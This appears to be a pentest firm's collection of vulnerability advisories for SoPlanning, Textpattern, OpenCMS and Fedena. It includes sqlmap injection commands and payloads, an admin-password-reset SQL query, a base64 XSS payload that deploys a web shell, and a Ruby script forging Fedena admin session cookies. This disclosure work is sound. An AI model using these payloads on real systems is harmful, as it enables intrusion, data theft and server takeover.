[INFO] retrieved: couleur [18:30:52] [INFO] retrieved: da [18:31:17] [ERROR] invalid character detected. retrying.. [18:31:17] [WARNING] increasing time delay to 3 seconds te_creation [18:33:25] [INFO] retrieved: date_dernier_login [18:37:04] [INFO] retrieved: date_modif [18:39:03] [INFO] retrieved: droits [18:40:15] [INFO] retrieved: email [18:41:05] [INFO] retrieved: login [18:42:09] [INFO] retrieved: login_actif [18:44:22] [INFO] retrieved: metier [18:45:26] [INFO] retrieved: mobile [18:46:32] [INFO] retrieved: nom [18:47:14] [INFO] retrieved: notifications [18:49:39] [INFO] retrieved: passwor [18:51:08] [INFO] adjusting time delay to 2 seconds due to good response times […] The highlighted parts demonstrate that: ⎯ The backend was MySQL >= 5.0.12; and ⎯ Listed the column names for the “planning_user” table in the “soplanning” database. This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning. Risk Analysis Risk Category: High CVSSv2: 8.1 AV:N/AC:L/Au:S/C:C/I:C/A:N/E:F CVSSv3: 9.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Affected item SOPlannning version 1.47 and lower Recommendation Update to SOPlannning Version 1.48

Time-based Blind SQL Injection – SoPlanning  Read More »

Boolean-based Blind SQL Injection - SoPlanning | Pentest Limited

Boolean-based Blind SQL Injection – SoPlanning

Background SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields. As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability.Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems. SQL Injection is a common vulnerability and is often the root cause of major data breaches. Details SoPlanning version 1.47.00 was vulnerable to a boolean-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database, including configuration data as well as user hashes. The following was the request made to the Audit page: POST /soplanning/www/audit.php HTTP/1.1 Host: 192.168.0.88 Content-Length: 92 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.88 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/audit.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D Connection: close filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1 Figure 1: highlighted the vulnerable parameter location in the Audit page. Figure 1 – Audit Vulnerable SQLi Parameter SQLMAP was used to automate this attack as shown below: $ python sqlmap.py -r auditRequest.txt –proxy=”http://127.0.0.1:8080″ –dbms=mysql –method=POST -p”projet_test1″ –level=5 –risk=3 -D soplanning -T planning_config –dump […] — Parameter: projet_test1 (POST) Type: boolean-based blind Title: AND boolean-based blind – WHERE or HAVING clause Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1′) AND 1720=1720– oMkq Type: UNION query Title: Generic UNION query (NULL) – 26 columns Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1′) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171716b71,0x696b52715a6f4773796e6c4352695263737a6a7157485167537346587341746e6948786577697966,0x7170767671),NULL– – — [17:03:50] [INFO] testing MySQL [17:03:51] [INFO] confirming MySQL [17:03:51] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 8.0.0 [17:03:53] [INFO] fetching entries for table ‘planning_config’ in database ‘soplanning’ [17:03:54] [INFO] recognized possible password hashes in column ‘valeur’ do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] n Database: soplanning Table: planning_config [65 entries] +—————————————-+———————————-+————————————————————————————————————————————-+ | cle | valeur | commentaire | +—————————————-+———————————-+————————————————————————————————————————————-+ | CONTACT_FORM_DEACTIVATE | | Put 1 to deactivate the display of the small button/popin (contact form) | | CURRENT _VERSION | 1.47.00 | […] The highlighted parts demonstrate that: ⎯ The backend was MySQL >= 8.0.0, PHP 7.4.9 and Apache 2.4.46; and⎯ Listed the column names for the “planning_config” table in the “soplanning” database as well as the data stored in the table, such as the ‘CURRENT_VERSION’ row. This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning. The following snippet contained the vulnerable SQL query in the ‘audit.php’ file constructed using untrusted user-controlled input: $sql = “SELECT pa.*, pu.nom as modif_nom, pu2.nom as user_nom, pp.nom as projet_nom, pl.nom as lieu_nom, pr.nom as ressource_nom, ps.nom as status_nom, pe.nom as equipe_nom, pg.nom as groupe_nom, ppe.date_debut, pu3.nom as periode_user_nom FROM planning_audit as pa LEFT JOIN planning_user as pu ON pu.user_id = pa.user_modif LEFT JOIN planning_user as pu2 ON pu2.user_id = pa.user_id LEFT JOIN planning_projet as pp ON pp.projet_id = pa.projet_id LEFT JOIN planning_lieu as pl ON pl.lieu_id = pa.lieu_id LEFT JOIN planning_ressource as pr ON pr.ressource_id = pa.ressource_id LEFT JOIN planning_status as ps ON ps.status_id = pa.lieu_id LEFT JOIN planning_periode as ppe ON ppe.periode_id = pa.periode_id LEFT JOIN planning_user as pu3 ON pu3.user_id = ppe.user_id LEFT JOIN planning_user_groupe as pe ON pe.user_groupe_id = pa.equipe_id LEFT JOIN planning_groupe as pg ON pg.groupe_id = pa.groupe_id WHERE 1=1″; if(count($_SESSION[‘filtreUserAudit’]) > 0) { $sql.= ” AND pa.user_modif IN (‘” . implode(“‘,'”, $_SESSION[‘filtreUserAudit’]) . “‘)”; } if(count($_SESSION[‘filtreGroupeProjetAudit’]) > 0) { $sql.= ” AND pa.projet_id IN (‘” . implode(“‘,'”, $_SESSION[‘filtreGroupeProjetAudit’]) . “‘)”; } Users with access to view the audit functionality would be able to exploit this vulnerability to extract data from the database thus compromising the confidentiality of the data stored by the application. In addition to this, the attacker can gain access to the SECURE_KEY, which would allow them to issue password reset requests for other user accounts, in doing so, they would be able to elevate their access level to that of an administrator. Risk Analysis Risk Category: High CVSSv2: 8.1 AV:N/AC:L/Au:S/C:C/I:C/A:N/E:F CVSSv3: 9.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Affected item SOPlannning version 1.47 and lower Recommendation Update to SOPlannning Version 1.48

Boolean-based Blind SQL Injection – SoPlanning Read More »

Leveraging XSS to get RCE in Textpattern 4.8.7 | Pentest Limited

Leveraging XSS to get RCE in Textpattern 4.8.7

As part of our ongoing commitment to Open-Source security, Pentest Ltd conducted a research project into Textpattern version 4.8.7. Textpattern is a free and open-source content management system for PHP and MySQL. According to builtwith.com it was publicly in use on over two-thousand websites. In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then the application would be exploited after that single click. Finding the Vulnerability The post preview function was vulnerable to XSS through the “Body” parameter. This exploit can be used to steal the CSRF token to enable arbitrary code execution through the plugin upload functionality. The following shows the HTTP request used to confirm the preview was vulnerable: GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1 Host: 192.168.127.128 Cookie: […] Valid Cookie is Added By the Victim’s Browser […] Connection: close By default, the application submitted the preview request over HTTP POST. No distinction was made between data in the POST body or within a GET URL making it possible to exploit this via a link. When decoded, the HTML payload was as shown below: This included a new “img” tag which executed a popup message when viewed in a browser: An unauthenticated attacker with knowledge of this issue could create a URL for any installation of textpattern. The attacker did not require authenticated access to the target installation of textpattern. The victim must interact with the payload at a time when they are authenticated. If the victim has access to the “plugins” functionality the attacker could gain Remote Code Execution (RCE) by uploading a PHP file to the server. The plugin upload functionality required a valid “_txp_token” which acted as a Cross-Site Request Forgery (CSRF) defence. The CSRF token was static for the duration of a user’s session. It was accessible easily in the DOM in locations such as the following: To exploit this the attacker would need to use JavaScript to request the “/textpattern/index.php” URL and extract the “_txp_token” from the location highlighted above. The following JavaScript was used to steal the token, and then to upload a PHP webshell: The above payload could be delivered using a link with the techniques demonstrated below: /textpattern/index.php?Body=&app_mode=async&view=preview The “eval” function executed the payload which is Base64 decoded using “atob”. To exploit this the full JavaScript payload must be Base64 and then URL encoded, before being pasted over the “<PAYLOAD>” marker above. After exploitation a new “csrfshell.php” script was accessible which executed OS commands supplied in the “cmd” parameter: This confirmed that exploitation had occurred. Risk Analysis Risk Category: HighCVSS: 9.6/Critical – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HExplanation: In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then they would be exploited after that single click. Recommendation To protect your Textpattern installations update to 4.8.8 as soon as possible. Find out more here. Affected Item(s) Textpattern version 4.8.7

Leveraging XSS to get RCE in Textpattern 4.8.7 Read More »

Multiple Vulnerabilities in OpenCMS 11.0.2 | Pentest Limited

Multiple Vulnerabilities in OpenCMS 11.0.2

As part of our ongoing commitment to Open Source security Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities that have been summarised in the table below: CVE CVSS Summary CVE-2021-42212 4.8 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N Persistent XSS allowed “admin” level users to send payloads to any user via messages. Admin level privileges were required for this making exploitation unlikely. CVE-2021-42209 5.4 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Persistent XSS allowed users with at least “editor” privileges to trigger a payload on the publish screen. Access as an “editor” could be used to exploit this and could gain “admin” level privileges. CVE-2021-42210 5.4 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Persistent XSS allowed users with at least “editor” privileges to trigger a payload on the sitemap screen. Access as an “editor” could be used to exploit this and could gain “admin” level privileges. CVE-2021-42213 7.6 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:N Persistent XSS allowed users with at least “author” privileges to upload HTML files. The file can contain Cross-Site Scripting or Cross Site Request Forgery payloads which will launch from the same origin. CVE-2021-42211 6.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N DOM based XSS within admin interface’s “workspace” UI. An unauthenticated remote attacker could exploit this. CVE-2021-42215 6.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Reflected XSS through the “policy” URL parameter. An unauthenticated remote attacker could exploit this. CVE-2021-42214 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H A user without the ability to delete files via the UI could do so using WebDAV. The permissions model was inconsistent across the two channels. A low privileged user could delete the site content to trigger a denial-of-service. CVE-2021-42206 8.3 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H By exploiting ClickJacking an unauthenticated attacker could obtain admin access. To do so, they would need to entice an “admin” level user to interact with a website while they were authenticated to OpenCMS. CVE-2021-42208 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N An unvalidated redirect and forward existed. If an authenticated user clicked on a malicious link they were redirected to the exploit site. If the user was unauthenticated they are prompted to authenticate prior to redirection occurring. This existed in the “/system/login/index.html” script via the “requestedResource” parameter. CVE-2021-42207 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N An unvalidated redirect and forward existed. If an authenticated user clicked on a malicious link they were redirected to the exploit site. If the user was unauthenticated they are prompted to authenticate prior to redirection occurring. This existed in the “/system/login/index.html” script via the “loginRedirect” parameter. These have been patched in the most recent release (12.0.0). Please update all installations of OpenCMS to the latest levels as soon as possible. Pentest have provided two additional blog posts which show full proof of concept code to go from unauthenticated to in full control over a vulnerable OpenCMS server: Exploiting OpenCMS 11.0.2 using ClickJacking; and Leveraging XSS to get RCE in OpenCMS 11.0.2 respectively.

Multiple Vulnerabilities in OpenCMS 11.0.2 Read More »

Exploiting OpenCMS 11.0.2 using ClickJacking | Pentest Limited

Exploiting OpenCMS 11.0.2 using ClickJacking

ClickJacking to full compromise of OpenCMS As part of our ongoing commitment to Open Source security Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities as described in Multiple Vulnerabilities in OpenCMS 11.0.2. These have all been patched in the most recent release (12.0.0). Two vulnerabilities could allow remote and unauthenticated attackers to compromise OpenCMS. This post covers how to use ClickJacking to do so as demonstrated by the Video below: https://www.youtube.com/watch?v=ht_6Y5N5Oto What is ClickJacking? ClickJacking is a form of “session riding” allowing an attacker to interact on the target site within the privileges of their victim. Successful exploitation requires the victim to visit a maliciously generated website while they are authenticated to the target site. The user believes they are interacting only with the malicious site. However, they are also interacting with the target site without their knowledge. To achieve this the attacker includes the target site within an iframe which is invisible to the victim. No matter where the victim clicks the attacker ensures that the parts of the target site that are required for exploitation are underneath the user’s action. ClickJacking techniques can: Click on any GUI element – allowing links to be followed, check boxes, radio buttons and forms to be submitted. Paste text into form fields – after selecting a text field it is possible to populate the field with text within the copy/paste. Together these permit attackers to populate and submit forms which are not protected by CAPTCHA technology or requiring the current password. ClickJacking is limited because it cannot read data from the Document Object Model (DOM) and is therefore said to be “blind”. The impact is a loss of integrity for the user account (as actions cannot be verified to have come from users). The true impact assessment can only be made after evaluating what functionality is vulnerable and fully assessing the context. For a general overview of ClickJacking please read reference [1]. Details OpenCMS 11.0.2 was vulnerable to ClickJacking because it had no defences to prevent it. To confirm this the consultant created an HTML file which included this “iframe” tag: To replicate this finding first authenticate as an “admin” level user. Save the above in a “.html” file and then open it in another tab within the same web browser.   The browser will include the target site within an iframe as demonstrated below:  Figure 1 – Sensitive Functions accessible within Iframes Figure 2 – Saving JSP Files within an Iframe  The above functionality was available only to “admin” level users. They were not adequately protected from attack and both could allow the full compromise of the OpenCMS server. Proof of Concept: Obtaining Admin Access The PoC was generated to exploit the SQL console. To exploit this the victim must issue two interactions: Initiate a drag and drop which goes from the attacker’s site into the query console; then Click on the “Execute” button to submit the query. The SQL query below was used as the payload. When executed this changes the password hash for the “Admin” user to “admin”: UPDATE CMS_USERS SET USER_PASSWORD=”$s0$e0801$AmdC2o/qA18zek6ENKpjpw==$nJqS+ZHFIAawhqNWx6rjeBnYnSzmDjzTC5ooIJWFX1o=” WHERE USER_NAME=”Admin” The attacker must convince the victim to interact with a website under their control. The exploit site used in the demonstration contained the HTML below: Football is lost. Help it home! RetryShow IframeHide Iframe If this was opened in a web browser by an authenticated “Admin” user it would appear as shown: Figure 3 – ClickJacking Exploit Site While crude this was a simple game asking the user to drag the ball into the goal. The attack worked because the image of the goal was in the background and there was an invisible iframe hidden in front of it. The following shows the same screen where the iframe was made visible: Figure 4 – ClickJacking Page where the iframe was visible The attacker required the victim to drag and then drop the ball anywhere within the red rectangle for their malicious query to be delivered. A second after the ball was dragged the UI updated to hide the ball and to display a prompt for the victim to claim their prize: Figure 5 – ClickJacking step to click on “Execute” button The SQL Query is executed when the “Claim Prize” button was clicked. This demonstrated the risk of ClickJacking against the unprotected SQL Console functionality. It is also possible to upload a web shell through the admin’s file upload function. However, that would require significantly more user interactions decreasing (but not removing) the chances of success.  Risk Analysis Risk Category: HighCVSS: 8.3 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H Explanation: Due to the functionality that was available within the application (direct access to the database, and remote code execution via JSP) the risk posed by ClickJacking was “High”.  Recommendation  Implement ClickJacking defences by default for OpenCMS deployments. If users need to disable this then they should be warned about doing so before enabling them to have their sites embedded within an iframe.  For full details of the defences that are available please read reference [2]. The following summarises those: Approach Example Limitation Content-Security-Policy Add an HTTP response header as shown: Content-Security-Policy: frame-ancestors ‘none’ This prevents any origin framing the content. Review reference [2] for more permissive options. Newer standard and is not supported in all major web browsers. X-Frame-Options take priority if present in Chrome & Firefox. X-Frame-Options Add an HTTP response header as shown: x-frame-options: DENY Again, review reference [2] for more permissive options. Setting is required per page so every HTTP response must include the heading for full coverage. Legacy JavaScript Before HTTP headers were an option initial fixes were based on JavaScript. This is now seen as a fall-back defence which is nice to have but is no longer essential. Please review reference [2] and select either the: • Best-for-now Legacy Browser Frame Breaking; or • Window.confirm() protection As desired JavaScript projections have repeatedly been defeated by bypasses. Hence the “best-for-now” language being used by OWASP. At the time of writing that has not been bypassed. Pentest’s preference is to use CSP headers as this

Exploiting OpenCMS 11.0.2 using ClickJacking Read More »

Leveraging XSS to get RCE in OpenCMS 11.0.2 | Pentest Limited

Leveraging XSS to get RCE in OpenCMS 11.0.2

Cross-Site Scripting to full compromise of OpenCMS As part of our ongoing commitment to Open Source security, Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities as described in Multiple Vulnerabilities in OpenCMS 11.0.2. These have all been patched in the most recent release (12.0.0). Two vulnerabilities could allow remote and unauthenticated attackers to compromise OpenCMS. This post covers how to use Cross Site Scripting to do so as demonstrated by the Video below: https://www.youtube.com/watch?v=oSyVV2dKWNk What is Cross-Site Scripting (XSS)?   When an application is vulnerable to Cross-Site Scripting (XSS), it is often possible to leverage this vulnerability in a chained-attack. The most common example of this is leveraging Cross-Site Scripting to perform arbitrary forged requests on behalf of the victim. If the victim holds high privileges within an application, this can cause drastic damage. This damage will usually manifest in the form of privilege escalation, account take over, or even defacement of the website. Forged requests could include changing the role of a low privileged user to a high privileged role, or accessing other functionality intended for use only by authenticated users. Another way forged requests can be used is in arbitrary file upload attacks. If such an issue exists, an attacker could force a high privileged user, usually an admin, to upload a file of the attackers choosing. The attacker could then browse to this file to achieve remote code execution. Details OpenCMS 11.0.2 was vulnerable to an attack-chain leveraging XSS, request forgery, and arbitrary file uploads. By combining these vulnerabilities, it was possible to create a malicious link that, when visited by an admin, uploaded and published a web shell. This web shell could then be used to remotely gain access to the web server. Our research into OpenCMS discovered six separate XSS vulnerabilities and we have chosen one to demonstrate the risk. 1. Designing the Forged Requests / XSS Payload The first step in creating this attack-chain was to design the XSS payload that would ultimately be delivered via a URL to the victim. Considering the goal of getting RCE, we must think like attackers to exploit the vulnerabilities discovered in a chain that will achieve our goal. In this case, we exploited an XSS and an arbitrary file upload issue to ultimately gain code execution on the server. JavaScript was developed that forged two requests, these are as follows: Request 1: Upload a Web Shell. Request 2: “Directly Publish” the Web Shell. Below are the details relating to each of these requests. Request 1: Upload a Web Shell: The first request uploaded a file containing a web shell to the “/workplace” page. The following is the file upload request. The web shell payload (lines 10-32) and file name (line 37) have been highlighted:  POST /system/workplace/commons/uploadAction.jsp HTTP/1.1 Host: 192.168.5.68 […] Connection: close ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”file_0″; filename=”webshellpoc.jsp” Content-Type: application/octet-stream ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”file_0_filename_encoded” webshellpoc.jsp ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”upload_target_folder” /sites/default/ ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”isRootPath” true ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y– After this request was sent, the script awaited the response. This was necessary because a UUID correlated to the uploaded file was returned within that response. That token was required in the upcoming request.   The response containing the UUID looks as follows, with the UUID shown in line 7:  HTTP/1.1 200 Server: OpenCms/11.0.2 Last-Modified: Wed, 14 Jul 2021 20:08:39 GMT […] Connection: close {“uploadedFiles”:[“474b29ba-e4df-11eb-a82a-0242ac120003”] […] After this UUID has been saved into a variable within the script, it is then used in a subsequent request to “Directly Publish” the uploaded web shell. This mimics the process the admin would usually take to publish a new page on the site.  Request 2: “Direct Publish” the Uploaded Web Shell: Following is the subsequent request to “Directly Publish” the uploaded web shell: POST /org.opencms.ade.publish.CmsPublishService.gwt HTTP/1.1 Host: 192.168.5.68 Content-Length: 461 Accept: */* X-GWT-Module-Base: http://192.168.5.68/VAADIN/widgetsets/org.opencms.ui.WidgetSet/ X-GWT-Permutation: RANDOMVALUE […] Connection: close 7|0|11|http://192.168.5.68/VAADIN/widgetsets/org.opencms.ui.WidgetSet/|49F57690AA96F6F31AA1A2D7FCA327E5|org.opencms.ade.publish.shared.rpc.I_CmsPublishService|executeAction|org.opencms.ade.publish.shared.CmsWorkflowAction/1950547118|org.opencms.ade.publish.shared.CmsWorkflowActionParams/4026592960|publish|Publish|java.util.ArrayList/4159755760|org.opencms.util.CmsUUID/3079641644|474b29ba-e4df-11eb-a82a-0242ac120003|1|2|3|4|2|5|6|5|7|1|1|8|6|9|1|10|11|9|0|0| The first piece of highlighted information (lines 5 & 6) within the above request are two technology specific headers. They were necessary for the request to work, but do not provide any protection against request forgery. It was found that an arbitrary value could be sent with the “X-GWT-Permutation:” header without being rejected. Line 10 shows the POST request’s body is the UUID received from the first request’s HTTP response. After this request was sent and processed, a web shell was accessible.  Crafting the Final URL The final step in developing this attack-chain was to craft a malicious URL containing the XSS payload. To craft the malicious URL, a Reflected XSS vulnerability was used. As discussed earlier, the goal of the payload is to issue a series of forged request on behalf of the victim. If the victim is an authenticated administrator, then these requests will ultimately upload and publish a web shell available to unauthenticated users. Because an XSS vulnerability is leveraged to issue the forged requests, we do not have to worry about the Same Origin Policy obstructing the attack. Following is a snippet from the Proof-Of-Concept URL that contains the XSS payload: /system/modules/alkacon.mercury.template/elements/privacy-policy.jsp?policy=Ly5jb250ZW50L3ByaXZhY3ktcG9saWN5LnhtbHMtLT48PGh0bWw%2bCiAgPCEtLSBDU1JGIFBvQyAtIGdlbmVyYXRlZCBieSBCdXJwIFN1aXRlIFByb2Zlc3Npb25hbCAtLT4KICA8Ym9keT4KICA8c2NyaXB0Pmhpc3RvcnkucHVzaFN0YXRlKCcnLCAnJywgJy8nKTwvc2NyaXB0PgogICAgPHNjcmlwdD4KICAgICAgZnVuY3Rpb24gc3VibWl0UHVibGlzaFJlcXVlc3QodXVpZCkKICAgICAgIHsKICAgICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgeGhyLm9wZW4oIlBPU1QiLCAiaHR0cDpcL1wvMTkyLjE2OC41LjY4XC9vcmcub3BlbmNtcy5hZGUucHVibGlzaC5DbXNQdWJsaXNoU2VydmljZS5nd3QiLCB0cnVlKTsKICAgICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgInRleH — SNIP — Notice the large blob of base64 encoded data within the URL? That is the XSS payload. This XSS vulnerability required that the payload be base64 encoded for it to properly reflect the payload within the HTTP response. When an admin clicked on this link their browser would append their valid session cookies resulting in deployment of the web shell. Risk Analysis Risk Category: Critical CVSS: 8.8 (See more about scoring here)Explanation: This attack-chain allowed a pathway for unauthenticated users to gain full control over the web application and its underlying server. Therefore, this issue has been placed in the risk category “Critical”.  Recommendation Patching vulnerabilities used in this attack-chain will be an effective mitigation. The specific root cause allowing this attack-chain was Cross-Site Scripting. Without access to one of these vulnerabilities, the attack-chain would be broken as the forged requests used within the payload are required to come from the same origin. Affected Item(s) OpenCMS 11.0.2

Leveraging XSS to get RCE in OpenCMS 11.0.2 Read More »

Authentication Bypass - Fedena School Management Software (CVE-2021-27980) | Pentest Limited

Authentication Bypass – Fedena School Management Software (CVE-2021-27980)

https://www.youtube.com/watch?v=96j4o6tB33w Pentest Ltd have recently been conducting security research into software used by Schools. Fedena version 2.3 was selected as a target in that broader project. This advisory covers one of the issues found, an authentication bypass vulnerability (CVE-2021-27980). A little bit of background Authentication is the process whereby the identity of a user is verified. After authentication, a user will be presented with different levels of access in-line with the allocated privileges. An “Authentication Bypass” means that an unauthorised attacker has gained access to the privileges of a registered system user. The impact of this is dependent on the application, the data it processes, and the privileges achieved. A generic description of this class of vulnerability is provided in reference 1.   The vulnerability Fedena 2.3 was vulnerable to an authentication bypass enabling an attacker to attain “admin” level privileges. This was due to the configuration of the “_fedena_session” cookie as specified in the “config/initializers/session_store.rb” file as shown below: # Your secret key for verifying cookie session data integrity. # If you change this key, all old sessions will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you’ll be exposed to dictionary attacks. ActionController::Base.session = { :key => ‘_fedena_session’, :secret => ’93bd9933128611446605e1d410d003a6643d59c4494a56e538f4bb154284c14f5a56c8ed9e7b1b38593e6f557b1f28d763f0b0093e12ff515dea1107d2e1306b’ } Line 9 demonstrates that the session secret has been statically set in the public repository. The vulnerable source code was accessible from the URL below: https://raw.githubusercontent.com/projectfedena/fedena/68a84ac445bf9ad5eb7dd5925388eb788bde9894/config/initializers/session_store.rb  On reviewing the installation instructions (see reference 2) there was no advice given to alter this secret when deploying Fedena.   Reference 3 points to a popular Docker container made by the user “explorer”. Research showed that the same static secret was present when the application was deployed using this container.  Together these observations showed a high likelihood that instances of Fedena would be deployed using the default key as shown.  In the default configuration of Fedena, user sessions are stored client-side. The format of the cookie includes a serialized form of the user’s session and a signature of that data. The signature is generated using the session secret which was shown previously.   When an attacker knows the session secret, they can generate cookies that are valid to the server and therefore authenticate to the application. This technique was described by Jack Singleton as per reference 4.  Pentest modified Jack’s proof of concept as shown below and saved it into the “gen-cookie.rb” script:  require ‘base64’ require ‘openssl’ key = ’93bd9933128611446605e1d410d003a6643d59c4494a56e538f4bb154284c14f5a56c8ed9e7b1b38593e6f557b1f28d763f0b0093e12ff515dea1107d2e1306b’ cookie_data = { :authorized => true, :authorised => true, :admin => true, :loggedin => true, :user_id => 1 } cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(‘SHA1’), key, cookie) puts(“#{cookie}–#{digest}”) The changes were to add Fedena’s session secret and to add “user_id” with the value “1” into the session object.  To confirm this vulnerability the consultant executed a new instance of the “explorer/fedena:2.3” docker container using the following command:  docker run -d –name fedena -p 3000:3000 explorer/fedena:2.3 /start-fedena.sh This started a new instance of Fedena within the container available from localhost on TCP port 3000. The following shows “curl” being used to issue a request to the home page of Fedena with a cookie crafted using the script shown above:  * curl -v http://127.0.0.1:3000/ –cookie “_fedena_session=`ruby gen_cookie.rb`” * Rebuilt URL to: http://127.0.0.1:3000/ * Trying 127.0.0.1… * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 3000 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1:3000 > User-Agent: curl/7.58.0 > Accept: */* > Cookie: _fedena_session=BAh7CjoPYXV0aG9yaXplZFQ6D2F1dGhvcmlzZWRUOgphZG1pblQ6DWxvZ2dlZGluVDoMdXNlcl9pZGkG–4ad035443b317dd5fb10d8ae239012e32c0690e8 > < HTTP/1.1 302 Found < Connection: Keep-Alive < Content-Type: text/html; charset=utf-8 < Content-Length: 102 < Date: Tue, 05 May 2020 08:27:54 GMT < Location: http://127.0.0.1:3000/user/dashboard < Cache-Control: no-cache < X-Runtime: 106 < Server: WEBrick/1.3.1 (Ruby/1.8.7/2011-06-30) < Set-Cookie: _fedena_session=BAh7CzoKYWRtaW5UOg9zZXNzaW9uX2lkIiUwZWJjZDMzZWI5NzQxOGExNTg4NjIzYzZmMTVjNjkwMToPYXV0aG9yaXplZFQ6DHVzZXJfaWRpBjoPYXV0aG9yaXNlZFQ6DWxvZ2dlZGluVA%3D%3D--df473647e5a6c24db3e0c61f44bfbf28ab220315; path=/; HttpOnly < * Connection #0 to host 127.0.0.1 left intact You are being redirected. The server responded by redirecting to the “/user/dashboard” URL indicating that the user was authenticated. The privileges gained were those of the “admin” user which has the user id of “1”.   It was theoretically possible to alter the number to gain access as any specific user account, but this was not confirmed since the highest level of privileges had already been gained. Risk analysisRisk Category: CriticalCVSSv2: 10.0 AV:N/AC:L/Au:N/C:C/I:C/A:CCVSSv3: 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HExplanation: Exploiting the vulnerability gave an attacker, without any credentials, admin level access to Fedena. The impact was a full loss of confidentiality, integrity and availability of data processed by Fedena. As such the CVSS ratings are appropriate and so is the risk category. Our recommendations You can find our recommendations here. References [1] CWE-287: Improper Authentication[2] Fedena Installation Instructions[3] DockerHub Explorer/Fedena Container[4] Session Secret Affected item(s) The affected item was:Fedena 2.3 in default configuration.

Authentication Bypass – Fedena School Management Software (CVE-2021-27980) Read More »

Multiple Vulnerabilities in Fedena 2.3 School Management | Pentest Limited

Multiple Vulnerabilities in Fedena 2.3 School Management Software

